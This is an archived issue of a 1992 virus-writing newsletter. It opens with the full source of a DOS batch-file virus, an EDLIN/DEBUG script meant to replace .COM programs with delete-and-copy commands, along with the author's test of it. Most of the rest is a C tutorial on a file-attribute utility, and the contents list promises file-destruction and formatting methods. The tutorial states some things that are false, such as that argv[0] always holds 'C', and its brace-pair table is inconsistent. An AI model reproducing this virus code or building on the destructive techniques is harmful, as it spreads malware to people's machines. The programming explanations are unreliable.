home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / cmvs#2.v1 < prev    next >
Text File  |  1995-01-03  |  60KB  |  1,792 lines

  1. DISCLAIMER:
  2. The author will NOT accept responsibility for any damage to your
  3. computer media and/or files, or responsibility for any action you might
  4. take that will result in legal proceedings, the source code, if any, in
  5. this newsletter is THE REAL THING, and you, after you read this, will be
  6. well aware of what virii are capable of, and knowing that, it is expected
  7. that you will act responsibly.
  8.  
  9. DISCLAIMER II:
  10. All I know about programming I have learned on my own, and did not go to
  11. school for, and am still learning. As a result, I am sometimes prone to
  12. make mistakes, and be wrong about things, so please be patient if I should
  13. make a mistake, or say something that isn't true, which would be totally
  14. unintentional.
  15.  
  16.  
  17.                 Viriisearch
  18.                 -----------
  19.  
  20.             The Virus Research Newsletter
  21.  
  22.                  Volume 1, Number 2
  23.  
  24.                    7/2/92
  25.  
  26. CREDITS:
  27. -----------------------------------------------------------------------------
  28. Author...................................................Criminal Minded <tm>
  29. Editor...................................................Criminal Minded <tm>
  30. Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
  31. Facts Stolen From Several Sources By.....................Criminal Minded <tm>
  32. -----------------------------------------------------------------------------
  33.  
  34. Introduction:
  35.  
  36. Welcome To The Second Issue Of Viriisearch, The Virus Research Newsletter.
  37.  
  38. In this issue:
  39.  
  40. Batch File Virii: How Effective Are They?
  41.  
  42. Methods Used To Do The Following:
  43.  
  44. 1. Removing/Altering Attributes On Files
  45. 2. Writing To The File Allocation Table
  46. 3. Truncating Files To 0 Bytes (They cannot be recovered with this method,
  47.    but it is rather slow)
  48. 4. Saving/Restoring File Dates/Times
  49. 5. Formatting
  50.  
  51. Fun With COMMAND.COM
  52. Sample Source Code Of Virii
  53. "Suicidal Tendencies" Department/Virus Of The Month
  54. Final Notes
  55.  
  56. -----------------------------------------------------------------------------
  57.  
  58. Batch File Virii: How Effective Are They?
  59.  
  60. -----------------------------------------------------------------------------
  61.  
  62. This Is A Batch File Virus:
  63.  
  64. -----------------------------------------------------------------------------
  65. echo = off
  66. ctty nul
  67. path c:\msdos
  68. dir *.com/w>ind
  69.  
  70. edlin ind<1
  71. debug ind<2
  72. edlin name.bat<3
  73. ctty con
  74. name
  75.  
  76. -----------------------------------------------------------------------------
  77.  
  78. This is what each line in the batch file does:
  79.  
  80. Line:                 What It Does:
  81. -----------------------------------------------------------------------------
  82. echo = off            Turns Echo Off
  83. ctty nul              Turns Console Output Off
  84. path c:\msdos         Sets up the path in the environment as C:\MSDOS
  85. dir *.com/w>ind       Redirects the output of the command "DIR *.COM/W to a
  86.               File Called "IND"
  87.  
  88. edlin ind>1           Edits "IND" File Using The Edlin Commands In "1"
  89. edlin ind>2           Edits "IND" File Using The Edlin Commands In "2"
  90. edlin name.bat>3      Edits "NAME.BAT" Using The Edlin Commands In "3"
  91. ctty con              Restores Output To The Console
  92. name                  Runs NAME.BAT
  93.  
  94. -----------------------------------------------------------------------------
  95.  
  96. Contents Of The File "1"
  97.  
  98. -----------------------------------------------------------------------------
  99.  
  100. 1,4d               ( Here line 1-4 of the "IND" file are deleted )
  101. e                  ( Save file )
  102.  
  103. -----------------------------------------------------------------------------
  104.  
  105. Contents Of The File "2"
  106.  
  107. -----------------------------------------------------------------------------
  108.  
  109. m100,10b,f000      (First program name is moved to the F000H address to save)
  110.  
  111. e108 ".BAT"        (Extention of file name is changed to .BAT)
  112. m100,10b,f010      (File is saved again)
  113. e100"DEL "         (DEL command is written to address 100H)
  114. mf000,f00b,104     (Original file is written after this command)
  115. e10c 2e            (Period is placed in from of extension)
  116. e110 0d,0a         (Carrige return+ line feed)
  117. mf010,f020,11f     ( Modified file is moved to 11FH address from buffer area)
  118. e112 "COPY \VR.BAT" ( COPY command is now placed in front of file)
  119. e12b od,0a         (COPY command terminated with carriage return + lf)
  120. rxc                ( The CX register is ... )
  121. 2c                 ( set to 2CH)
  122. nname.bat          ( Name it NAME.BAT)
  123. w                  ( Write )
  124. q                  ( quit )
  125.  
  126. -----------------------------------------------------------------------------
  127.  
  128. Contents Of The File "3"
  129.  
  130. -----------------------------------------------------------------------------
  131.  
  132. 0100   31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
  133.        1  ,  1  ?        .  .  n  y  y  y  y  y  y  y
  134. 0110   79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
  135.        y     .  2  ,  ?  ?  r     .  .  n  n  y  y  y
  136. 0120   79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
  137.        y  y  y  y     .  E  .  .  .  .  .  .  .  .  .
  138.  
  139. -----------------------------------------------------------------------------
  140.  
  141. Ok, according to the author, this batch file makes use of EDLIN and DEBUG
  142. and only affects .COM files.
  143.  
  144. I ran it twice, first on one of my DOS bootable disks. This is the directory
  145. listing of that disk before I ran this supposed "batch file virus"
  146.  
  147.  Volume in drive A has no label
  148.  Volume Serial Number is 004A-1EC0
  149.  Directory of A:\
  150.  
  151. COMMAND  COM     47845 04-09-91   5:00a
  152. ANSI     SYS      9029 04-09-91   5:00a
  153. RAMDRIVE SYS      5873 04-09-91   5:00a
  154. CONFIG   SYS        39 01-01-80  12:04a
  155. SYS      COM     13440 04-09-91   5:00a
  156. NDOS     COM      2419 08-14-84  12:00p
  157. UNDELETE EXE     13924 04-09-91   5:00a
  158. MEM      EXE     39818 04-09-91   5:00a
  159. SFORMAT  EXE     64921 08-05-91   6:01a
  160. DEBUG    EXE     21692 06-07-90   2:24a
  161. EDLIN    EXE     14121 06-07-90   2:24a
  162. ATTRB    EXE      6232 01-01-80  12:21a
  163. AUTOEXEC BAT        69 01-01-80  12:02a
  164. NORTON   INI       530 01-01-80  12:01a
  165. VR       BAT       112 01-01-80   7:00p
  166. 1                   10 01-01-80   7:01p
  167. 2                  171 01-01-80   7:04p
  168. 3                  269 01-01-80   7:08p
  169.        18 file(s)     240514 bytes
  170.               353280 bytes free
  171.  
  172. -----------------------------------------------------------------------------
  173.  
  174. Ok, I ran VR.BAT and it accessed the disk for about 30 seconds and then the
  175. computer froze up. So I rebooted and looked at the disk. There was no file
  176. damage, but there were four new files on the disk:
  177.  
  178. IND             120 bytes
  179. IND.BAK         209 bytes
  180. NAME.BAT        120 bytes
  181. NAME.$$$        0 bytes
  182.  
  183. -----------------------------------------------------------------------------
  184.  
  185. This is the contents of "IND"
  186.  
  187.  
  188. COMMAND.COM     SYS.COM         NDOS.COM
  189.     3 file(s)      63704 bytes
  190.               286720 bytes free
  191.  
  192. -----------------------------------------------------------------------------
  193.  
  194. This Is The Contents Of "IND.BAK"
  195.  
  196. -----------------------------------------------------------------------------
  197.  
  198.  Volume in drive A has no label
  199.  Volume Serial Number is 004A-1EC0
  200.  Directory of A:\
  201.  
  202. COMMAND.COM     SYS.COM         NDOS.COM
  203.     3 file(s)      63704 bytes
  204.               286720 bytes free
  205.  
  206. -----------------------------------------------------------------------------
  207.  
  208. And This Is The Contents Of "NAME.BAT"
  209.  
  210. -----------------------------------------------------------------------------
  211. del MMAN.bat.   S
  212. copy \vr.batO
  213. COMMAN.bat
  214.        3 file(s)      63704 bytes
  215.               286720 bytes free
  216.  
  217. -----------------------------------------------------------------------------
  218.  
  219. I Then Proceeded To Run NAME.BAT and all that did was give me a "File Not
  220. Found" And A Few "Bad Command Or Filename"'s
  221.  
  222. I Am Not Too Sure Of What This Individual Was Attempting To Do, But I Would
  223. Not Be Too Worried About Him Being Capable Of Doing Anything Malicious To
  224. Your System As His Batch File Virus Is A Piece Of Shit.
  225.  
  226. Also, I Created A Directory Called MSDOS On The Disk, Copied COMMAND.COM,
  227. SYS.COM, And NDOS.COM To That Directory And Ran VR.BAT again. It Did The Same
  228. Thing As Before, And Did Not Do Any Damage To The Files In The Root Directory
  229. Or A:\MSDOS
  230.  
  231. -----------------------------------------------------------------------------
  232.  
  233. Methods Used To Do The Following:
  234.  
  235. 1. Removing/Altering Attributes On Files
  236. 2. Writing To The File Allocation Table
  237. 3. Truncating Files To 0 Bytes
  238. 4. Saving/Restoring File Dates/Times
  239. 5. Formatting
  240.  
  241. -----------------------------------------------------------------------------
  242.  
  243. Removing/Altering Attributes On Files:
  244.  
  245. -----------------------------------------------------------------------------
  246.  
  247. Here Is A Simple C Language Source To Change The Attributes To Normal On A
  248. File Called "TEST.DAT"
  249.  
  250. -----------------------------------------------------------------------------
  251.  
  252. #include <dos.h>
  253.  
  254. int main        (void);
  255.  
  256. main()
  257. {
  258.   _dos_setfileattr("TEST.DAT", _A_NORMAL);
  259. }
  260.  
  261. -----------------------------------------------------------------------------
  262.  
  263. I Think It's Pretty Much Self-Explanatory. <dos.h> Is Just The Header File
  264. That Has The Prototype For "_dos_setfileattr" In It And The Definition For
  265. The Manifest Constant "_A_NORMAL"
  266.  
  267. int main        (void);
  268.  
  269. Is The Function Prototype For "main()" Declaring It To Return Type "int" And
  270. Is Passed No Parameters (void). This Is Keeping Up With The ANSI Standard.
  271.  
  272. Then _dos_setfileattr("TEST.DAT",_A_NORMAL);
  273.  
  274. which does the actual attribute change.
  275.  
  276. -----------------------------------------------------------------------------
  277.  
  278. Now, A Complete Utility To Change Attributes That I Wrote On 09/16/91. This
  279. Is The Third Revision Of It, Version 3.0. I Am Proud Of This Particular
  280. Version, As The Source Code Is 92 Lines, and 3238 Bytes. The Executable Is
  281. 9165 Bytes, Which Is Relatively Small. That Just Shows That This Is A Well
  282. Written Utility, Especially Compared To Version 1.0, Which Was 1/3 Of The
  283. Lines, And The Executable Was Around 20K.
  284.  
  285. -----------------------------------------------------------------------------
  286.  
  287. #include <stdio.h>
  288. #include <dos.h>
  289. int count1=0,loop=0;
  290.  
  291. main(argc,argv)
  292. int argc;
  293. char *argv[];
  294. {
  295. if (argc != 2) {
  296.     printf("Usage: C>ATTRB <filespec>\n\n");
  297.     printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
  298.     printf("09/16/91.\n");
  299.     exit(1);
  300.     }
  301. else {
  302. struct find_t  all_file;
  303.       while (loop!=4) {
  304.       if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
  305.        printf("\nFile(s) do not exist.\n");
  306.        exit(1);
  307.        }
  308.      else {
  309.      printf("1. Normal\n");
  310.      printf("2. Read Only\n");
  311.      printf("3. Hidden\n");
  312.      printf("4. System\n");
  313.      printf("5. Hidden/System/Read Only\n\n");
  314.      printf("Enter Your Choice: ");
  315. switch(getch()) {
  316.         case '1': loop=4;
  317.               _dos_setfileattr(all_file.name, _A_NORMAL);
  318.               printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
  319.               count1++;
  320.               while (_dos_findnext(&all_file) == 0) {
  321.                    count1++;
  322.                    _dos_setfileattr(all_file.name, _A_NORMAL);
  323.                    printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
  324.                    }
  325.                    printf("\n%d Files.\n", count1);
  326.                    break;
  327.         case '2': loop=4;
  328.               _dos_setfileattr(all_file.name, _A_RDONLY);
  329.               printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
  330.               count1++;
  331.               while (_dos_findnext(&all_file) == 0) {
  332.                    count1++;
  333.                    _dos_setfileattr(all_file.name, _A_RDONLY);
  334.                    printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
  335.                    }
  336.                    printf("\n%d Files.\n", count1);
  337.                    break;
  338.         case '3': loop=4;
  339.               _dos_setfileattr(all_file.name, _A_HIDDEN);
  340.               count1++;
  341.               printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
  342.               while (_dos_findnext(&all_file) == 0) {
  343.                    count1++;
  344.                    _dos_setfileattr(all_file.name, _A_HIDDEN);
  345.                    printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
  346.                    }
  347.                    printf("\n%d Files.\n", count1);
  348.                    break;
  349.         case '4': loop=4;
  350.               _dos_setfileattr(all_file.name, _A_SYSTEM);
  351.               count1++;
  352.               printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
  353.               while (_dos_findnext(&all_file) == 0) {
  354.                    count1++;
  355.                    _dos_setfileattr(all_file.name, _A_SYSTEM);
  356.                    printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
  357.                    }
  358.                    printf("\n%d Files.\n", count1);
  359.                    break;
  360.         case '5': loop=4;
  361.               _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
  362.               count1++;
  363.               printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
  364.               while (_dos_findnext(&all_file) == 0) {
  365.                    count1++;
  366.                    _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
  367.                    printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
  368.                    }
  369.                    printf("\n%d Files.\n", count1);
  370.                    break;
  371.      default: loop=5;
  372.           printf("\n\nThat was not a valid menu selection.\n\n");
  373.           printf("Please try again:\n\n");
  374.           break;
  375.           }
  376.        }
  377.        }
  378.     }
  379. }
  380.  
  381. -----------------------------------------------------------------------------
  382.  
  383. "Dissection" Of The Source Code To Attrb v3.0
  384.  
  385. -----------------------------------------------------------------------------
  386.  
  387. int count1=0,loop=0;
  388.  
  389. This Is Just Global Declaration And Inititialization Of Two Integers, Called
  390. "count1" and "loop"
  391.  
  392. You Should Always Initialize Your Integers To Zero, Because "C" Can Sometimes
  393. Assign The Value To The Integer That Is In The Area Of Memory The Compiler
  394. Sets Aside For The Integer, Which Could Result In Your Program Not Working
  395. The Way You Wanted It To.
  396.  
  397. "count1" keeps track of the number of files whose attributes were changed
  398. through the use of the "increment operator" ( ++ ) which adds the value of 1
  399. to the integer everytime it changes the attribute on a file.
  400.  
  401. count1++;    /* adds the value of 1 to "count1" */
  402.  
  403. When there are no more files left to change, it prints the total number of
  404. files whose attributes were altered with this line:
  405.  
  406. printf("\n%d Files.\n", count1);
  407.  
  408. %d is a format specifier, telling the printf function we are printing a int.
  409. The value to print comes from "count1" at the end, printf looks in there and
  410. obtains the value, then prints it.
  411.  
  412. -----------------------------------------------------------------------------
  413.  
  414. main(argc,argv)
  415. int argc;
  416. char *argv[];
  417.  
  418. -----------------------------------------------------------------------------
  419.  
  420. This is how command line parameters are incorporated into programs. argc, a
  421. integer, keeps track of the number of actual parameters passed. char *argv[]
  422. is the actual parameter. ATTRB v3.0 takes one command line parameter, a file
  423. specification.
  424.  
  425. C>ATTRB30 TEST.DAT
  426.  
  427. With this, argc would = 2, and argv would be as follows:
  428.  
  429. argv[0] = "C"
  430. argv[1] = "TEST.DAT"
  431.  
  432. argv[0] always has "C" in it.
  433.  
  434.  
  435. Now, how do you make sure the person using the utility entered the command
  436. line parameter? Like this:
  437.  
  438. if (argc != 2) {
  439.     printf("Usage: C>ATTRB <filespec>\n\n");
  440.     printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
  441.     printf("09/16/91.\n");
  442.     exit(1);
  443.     }
  444.  
  445. argc should equal 2, so the line: if (argc!=2)
  446.  
  447. is saying: if argc doesn't equal 2 (! means NOT and = means equal)
  448.  
  449. If argc doesn't equal 2, that means no command line parameter was passed to
  450. the program, so it carries out the four lines in between the { and the }
  451. see below:
  452.  
  453.     printf("Usage: C>ATTRB <filespec>\n\n");
  454.     printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
  455.     printf("09/16/91.\n");
  456.     exit(1);
  457.  
  458. it tells you the "usage" of the program:
  459.  
  460. Usage: C>ATTRB <filespec>
  461.  
  462. telling you it needs one command line parameter, a filespec
  463.  
  464. then it prints the name of the program, author, and date, and exits with a
  465. error code of 1.
  466.  
  467. If argc DOES equal 2, it goes to this part of the program:
  468.  
  469. Without Comments:
  470.  
  471. else {
  472. struct find_t  all_file;
  473.       while (loop!=4) {
  474.       if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
  475.        printf("\nFile(s) do not exist.\n");
  476.        exit(1);
  477.        }
  478.  
  479. With Comments:
  480.  
  481. else {  /* else do this if the parameter is supplied */
  482.  
  483. struct find_t  all_file; /* this tells the program we are going to use the */
  484.              /* structure defined in DOS.H called "find_t" */
  485.              /* see below for a description of "find_t" */
  486.  
  487.       while (loop!=4) { /* will keep going until loop doesn't equal 4 */
  488.  
  489.       /* this next line searches for the filename you specified, using the */
  490.       /* "bitwise OR" operator, | to OR the attribute manifest constants */
  491.       /* together, so it will find any file matching the one you specified */
  492.       /* regardless of the attribute it has. If _dos_findfirst NOT equals */
  493.       /* 0, that means the file you specified doesn't exist, so it tells */
  494.       /* you and exits with a error code of 1 */
  495.       /* Also in this line is where we pass argv[1] over to the "all_file" */
  496.       /* structure, which is the same as the "find_t" structure. We just */
  497.       /* basically changed the name with the line: struct find_t all_file */
  498.  
  499.  
  500.       if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file) !=0)) {
  501.        printf("\nFile(s) do not exist.\n");
  502.        exit(1);
  503.        }
  504.  
  505. -----------------------------------------------------------------------------
  506.  
  507. OK, let me interrupt here for a brief discussion of the "find_t" structure
  508. declared and defined in "DOS.H"
  509.  
  510. -----------------------------------------------------------------------------
  511.  
  512. The "find_t" structure:
  513.  
  514.  
  515. struct find_t {
  516.     char reserved[21];
  517.     char attrib;
  518.     unsigned wr_time;
  519.     unsigned wr_date;
  520.     long size;
  521.     char name[13];
  522.     };
  523.  
  524.  
  525. Ok, a structure is just a simple way of organizing data and you won't have to
  526. declare the data types every time, you could just use the structure.
  527.  
  528. The members of this structure are:
  529.  
  530. char reserved[21]; /* character array, can hold 21 chars. Reserved by DOS */
  531. char attrib;       /* holds the attribute */
  532. unsigned wr_time;  /* holds the time of the file */
  533. unsigned wr_date;  /* holds the date of the file */
  534. long size;         /* holds the file size */
  535. char name[13];     /* holds the filename */
  536.  
  537. at the end of the structure is: };
  538.  
  539. this signifies the end of it the structure, but because there is no name
  540. there, we can rename the structure to anything we line, like we did with the
  541. line:
  542.  
  543. struct find_t all_file
  544.  
  545. now had the structure had a name there, such as:
  546.  
  547. struct find_t {
  548.     char reserved[21];
  549.     char attrib;
  550.     unsigned wr_time;
  551.     unsigned wr_date;
  552.     long size;
  553.     char name[13];
  554.     } fileinfo;
  555.  
  556. we couldn't rename the structure. The members of the structure would be
  557. referred to as:
  558.  
  559. fileinfo.attrib
  560. fileinfo.wr_time
  561. fileinfo.wr_date
  562. fileinfo.size
  563. fileinfo.name
  564.  
  565. but since we renamed the structure to "all_file"
  566.  
  567. the members are called:
  568.  
  569. all_file.attrib
  570. all_file.wr_time
  571.  
  572. etc and so on...
  573.  
  574. Get it? Good. Now back to ATTRB v3.0
  575.  
  576. -----------------------------------------------------------------------------
  577.  
  578. We left off here:
  579.  
  580. else {
  581. struct find_t  all_file;
  582.       while (loop!=4) {
  583.       if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
  584.        printf("\nFile(s) do not exist.\n");
  585.        exit(1);
  586.        }
  587.  
  588. As I said, in the 4th line in the above example, argv[1] is passed over to
  589. the "all_file" structure, so argv[1] from now on will be referred to as:
  590.  
  591. all_file.name
  592.  
  593. If the above part of the program does find a matching file, it will go onto
  594. this part of the program:
  595.  
  596. Once again, note the "if else"
  597.  
  598. In English:
  599.  
  600. if findfile function doesn't find a matching file, print message and exit.
  601. else do this:
  602.  
  603.      else {
  604.      printf("1. Normal\n");
  605.      printf("2. Read Only\n");
  606.      printf("3. Hidden\n");
  607.      printf("4. System\n");
  608.      printf("5. Hidden/System/Read Only\n\n");
  609.      printf("Enter Your Choice: ");
  610.  
  611. easy eh?
  612.  
  613. you will notice the { and the } throughout the program, those are VERY, VERY
  614. important in how your program works. I will cover those after I am done with
  615. explaining how the program works.
  616.  
  617. Anyway, the above part of the source just displays the simple menu, showing
  618. your choices. If you select 1, it will change the attributes of the matching
  619. files to the normal attribute, 2 will make them read only, etc....
  620.  
  621. This is how it gets the input from the user:
  622.  
  623. switch(getch()) {
  624.  
  625. getch() is a function which means "get character"
  626.  
  627. the "switch" allows the use of "case statements"
  628.  
  629. -----------------------------------------------------------------------------
  630.  
  631. case '1': loop=4;
  632.       _dos_setfileattr(all_file.name, _A_NORMAL);
  633.       printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
  634.       count1++;
  635.           while (_dos_findnext(&all_file) == 0) {
  636.            count1++;
  637.             _dos_setfileattr(all_file.name, _A_NORMAL);
  638.             printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
  639.             }
  640.             printf("\n%d Files.\n", count1);
  641.             break;
  642.  
  643. -----------------------------------------------------------------------------
  644.  
  645. 11 lines:
  646.  
  647. Line 1. Will carry out all the functions after case '1': IF the 1 key is
  648.     pressed. Also on the first line: loop=4;
  649.     This gives the value of 4 to the integer "loop"
  650.  
  651.     Earlier in the code, there was: while (loop!=4)
  652.     Which will keep going until the integer holds a value other than 4
  653.     Since we assign 4 to it at every case statement, it keeps going.
  654.     The purpose of this is if you hit a wrong key, such as 8, which
  655.     isn't available on the menu, it will go to default, where it assigns
  656.     5 to loop causing it to display this message:
  657.  
  658.           That was not a valid menu selection.
  659.  
  660.           Please try again:
  661.  
  662.           and then "break" out of the loop and go back to the menu, and
  663.           re-display it.
  664.  
  665. This is how it does it:
  666.  
  667.      default: loop=5;
  668.           printf("\n\nThat was not a valid menu selection.\n\n");
  669.           printf("Please try again:\n\n");
  670.           break;
  671.  
  672. -----------------------------------------------------------------------------
  673.  
  674. Now back to "case '1'"
  675.  
  676. -----------------------------------------------------------------------------
  677.  
  678. case '1': loop=4;
  679.       _dos_setfileattr(all_file.name, _A_NORMAL);
  680.       printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
  681.       count1++;
  682.           while (_dos_findnext(&all_file) == 0) {
  683.            count1++;
  684.             _dos_setfileattr(all_file.name, _A_NORMAL);
  685.             printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
  686.             }
  687.             printf("\n%d Files.\n", count1);
  688.             break;
  689.  
  690. -----------------------------------------------------------------------------
  691.  
  692. Ok, this picks up where
  693.  
  694. if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
  695.  
  696. left off.
  697.  
  698. _dos_findfirst finds the FIRST matching file and then displays the menu. If
  699. you select one, it will go to the case '1': statement and change the attribute
  700. of all_file.name to NORMAL using this line:
  701.  
  702. _dos_setfileattr(all_file.name, _A_NORMAL);
  703.  
  704. Then it prints a line telling you the result. %s is another format specifier
  705. used by printf, like %d mentioned earlier, but %s is to print a string, and
  706. all_file.name (at the end) contains the string to be printed.
  707.  
  708. printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
  709.  
  710. Then it adds the value of 1 to count1 to keep track of the total number of
  711. files attributes were changed on.
  712.  
  713. count1++;
  714.  
  715. Once it does all that, it goes onto this part of the code:
  716.  
  717.  while (_dos_findnext(&all_file) == 0) {
  718.        count1++;
  719.     _dos_setfileattr(all_file.name, _A_NORMAL);
  720.     printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
  721.     }
  722.     printf("\n%d Files.\n", count1);
  723.     break;
  724.  
  725. This is a while loop, until _dos_findnext DOESN'T equal 0, it will keep going
  726. because as long as it does equal 0, that means there are matching files. The
  727. next 3 lines have already been explained. Once there are no more files, it
  728. goes to:
  729.  
  730.     printf("\n%d Files.\n", count1);
  731.     break;
  732.  
  733. Which prints how many files were changed, breaks out of the loop and exits
  734. the program.
  735.  
  736. The only difference between case 1, case 2, case 3, case 4, and case 5, is
  737. the attribute that the file is changed to.
  738.  
  739. Case 1: Normal (Can Be Deleted, Written To)
  740. Case 2: Read Only (Cannot Be Written To Or Deleted)
  741. Case 3: Hidden (Filename Is Not Seen When You Type DIR, But Still Can Be
  742.     Executed If A .COM, .EXE, or .BAT File, Can Still Be Read If A
  743.     Text File, Etc But Cannot Be Deleted, DOS Replies: File Not Found)
  744. Case 4: System (Like The File Doesn't Exist. Cannot Be Deleted, Executed Or
  745.     Read)
  746. Case 5: Hidden/System/Read Only (Combination Of 3, 4 and 5)
  747.  
  748. -----------------------------------------------------------------------------
  749.  
  750. A VERY important part of C language are the curly brackets, { and }
  751.  
  752. We will now go through the code one more time telling what each { and } is
  753. for.
  754.  
  755. I will put a number next to each one, like so: [1] and [2] and [3] etc..
  756.  
  757. at the end of the code, I will tell what each one is for.
  758.  
  759. -----------------------------------------------------------------------------
  760.  
  761. #include <stdio.h>
  762. #include <dos.h>
  763. int count1=0,loop=0;
  764.  
  765. main(argc,argv)
  766. int argc;
  767. char *argv[];
  768. { [1]
  769. if (argc != 2) { [2]
  770.     printf("Usage: C>ATTRB <filespec>\n\n");
  771.     printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
  772.     printf("09/16/91.\n");
  773.     exit(1);
  774.     } [3]
  775. else { [4]
  776. struct find_t  all_file;
  777.       while (loop!=4) { [5]
  778.       if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { [6]
  779.        printf("\nFile(s) do not exist.\n");
  780.        exit(1);
  781.        } [7]
  782.      else { [8]
  783.      printf("1. Normal\n");
  784.      printf("2. Read Only\n");
  785.      printf("3. Hidden\n");
  786.      printf("4. System\n");
  787.      printf("5. Hidden/System/Read Only\n\n");
  788.      printf("Enter Your Choice: ");
  789. switch(getch()) { [9]
  790.         case '1': loop=4;
  791.               _dos_setfileattr(all_file.name, _A_NORMAL);
  792.               printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
  793.               count1++;
  794.               while (_dos_findnext(&all_file) == 0) { [10]
  795.                    count1++;
  796.                    _dos_setfileattr(all_file.name, _A_NORMAL);
  797.                    printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
  798.                    } [11]
  799.                    printf("\n%d Files.\n", count1);
  800.                    break;
  801.         case '2': loop=4;
  802.               _dos_setfileattr(all_file.name, _A_RDONLY);
  803.               printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
  804.               count1++;
  805.               while (_dos_findnext(&all_file) == 0) { [12]
  806.                    count1++;
  807.                    _dos_setfileattr(all_file.name, _A_RDONLY);
  808.                    printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
  809.                    } [13]
  810.                    printf("\n%d Files.\n", count1);
  811.                    break;
  812.         case '3': loop=4;
  813.               _dos_setfileattr(all_file.name, _A_HIDDEN);
  814.               count1++;
  815.               printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
  816.               while (_dos_findnext(&all_file) == 0) { [14]
  817.                    count1++;
  818.                    _dos_setfileattr(all_file.name, _A_HIDDEN);
  819.                    printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
  820.                    } [15]
  821.                    printf("\n%d Files.\n", count1);
  822.                    break;
  823.         case '4': loop=4;
  824.               _dos_setfileattr(all_file.name, _A_SYSTEM);
  825.               count1++;
  826.               printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
  827.               while (_dos_findnext(&all_file) == 0) { [16]
  828.                    count1++;
  829.                    _dos_setfileattr(all_file.name, _A_SYSTEM);
  830.                    printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
  831.                    } [17]
  832.                    printf("\n%d Files.\n", count1);
  833.                    break;
  834.         case '5': loop=4;
  835.               _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
  836.               count1++;
  837.               printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
  838.               while (_dos_findnext(&all_file) == 0) { [18]
  839.                    count1++;
  840.                    _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
  841.                    printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
  842.                    } [19]
  843.                    printf("\n%d Files.\n", count1);
  844.                    break;
  845.      default: loop=5;
  846.           printf("\n\nThat was not a valid menu selection.\n\n");
  847.           printf("Please try again:\n\n");
  848.           break;
  849.           } [20]
  850.        } [21]
  851.        } [22]
  852.     } [23]
  853. } [24]
  854.  
  855. -----------------------------------------------------------------------------
  856.  
  857. For every { there has to be a }
  858.  
  859. Groups of code, such as particular functions, while loops, switch statements,
  860. and the main body of the program are enclosed in between { and }
  861.  
  862. -----------------------------------------------------------------------------
  863.  
  864. Pairs:       What The Are For:
  865. -----------------------------------------------------------------------------
  866. [1] [24]     Enclose The Main Body Of The Program
  867.  
  868. [2] [3]      Enclose The Body Of Code To Execute If argc Doesn't Equal 2
  869.  
  870. [4] [21]     Enclose The Body Of Code To Execute If argc Does Equal 2
  871.  
  872. [5] [22]     Enclose The Body Of Code To Execute Until loop Doesn't Equal 4
  873.  
  874. [6] [7]      Enclose The Body Of Code To Execute If _dos_findfirst Doesn't
  875.          Find A Matching File
  876.  
  877. [8] [23]     Enclose The Body Of Code To Execute If _dos_findfirst Does
  878.          Find A Matching File
  879.  
  880. [9] [20]     For The Switch Statement Beginning And Ending
  881.  
  882. [10] [11]    Enclose The Body Of Code To Execute While _dos_findnext is
  883.          Still Finding Matching Files (case '1')
  884.  
  885. [12] [13]    Enclose The Body Of Code To Execute While _dos_findnext is
  886.          Still Finding Matching Files (case '2')
  887.  
  888. [14] [15]    Enclose The Body Of Code To Execute While _dos_findnext is
  889.          Still Finding Matching Files (case '3')
  890.  
  891. [16] [17]    Enclose The Body Of Code To Execute While _dos_findnext is
  892.          Still Finding Matching Files (case '4')
  893.  
